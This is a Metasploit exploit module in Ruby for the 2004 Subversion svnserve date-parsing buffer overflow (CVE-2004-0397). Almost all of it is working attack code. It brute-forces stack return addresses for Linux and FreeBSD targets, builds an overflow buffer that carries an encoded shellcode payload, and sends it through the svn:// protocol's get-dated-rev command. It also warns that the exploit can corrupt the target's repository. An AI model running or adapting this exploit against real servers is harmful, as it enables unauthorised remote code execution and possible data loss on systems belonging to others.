Subversion Date Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
require 'msf/core/exploit/http'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Brute  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Subversion Date Svnserve',  
'Description' => %q{  
This is an exploit for the Subversion date parsing overflow. This  
exploit is for the svnserve daemon (svn:// protocol) and will not work  
for Subversion over webdav (http[s]://). This exploit should never  
crash the daemon, and should be safe to do multi-hits.  
  
**WARNING** This exploit seems to (not very often, I've only seen  
it during testing) corrupt the subversion database, so be careful!  
},  
'Author' => 'spoonm',  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2004-0397'],  
['OSVDB', '6301'],  
['BID', '10386'],  
['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'],  
['MIL', '68'],  
],  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",  
'MinNops' => 16,  
},   
'SaveRegisters' => [ 'esp' ],  
'Arch' => 'x86',  
'Platform' => [ 'linux', 'bsd' ],  
'Targets' =>   
[  
[   
'Linux Bruteforce',  
{  
'Platform' => 'linux',  
'Bruteforce' =>   
{  
'Start' => { 'Ret' => 0xbffffe13 },  
'Stop' => { 'Ret' => 0xbfff0000 },  
'Step' => 0  
}  
},  
],  
[   
'FreeBSD Bruteforce',  
{  
'Platform' => 'bsd',  
'Bruteforce' =>   
{  
'Start' => { 'Ret' => 0xbfbffe13 },  
'Stop' => { 'Ret' => 0xbfbf0000 },  
'Step' => 0  
}  
},  
],  
  
],  
'DisclosureDate' => 'May 19 2004'))  
  
register_options(  
[  
Opt::RPORT(3690),   
OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])  
], self.class)  
  
register_advanced_options(  
[  
# 62 on spoonm's, 88 on HD's  
OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),  
OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])  
], self.class)  
end  
  
def check  
end  
  
def brute_exploit(addresses)  
connect  
  
print_status("Trying #{"%.8x" % addresses['Ret']}...")  
  
buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded  
  
[  
"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",  
"( ANONYMOUS ( 0; ) )",  
"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "  
].each_with_index { |buf, index|  
trash = sock.get_once  
  
print_line("Received: #{trash}") if debugging?  
  
if (sock.put(buf) || 0) == 0 and index < 3  
print_error("Error transmitting buffer.")  
raise ExploitError, "Failed to transmit data" if !datastore['IgnoreErrors']  
end  
  
if index == 3 and trash.length > 0  
print_error("Received data when we shouldn't have")  
raise ExploitError, "Received data when it wasn't expected" if !datastore['IgnoreErrors']  
end  
}  
  
handler  
disconnect  
end  
  
def lengther(buf)  
"#{buf.length}:" + buf  
end  
  
end  
  
`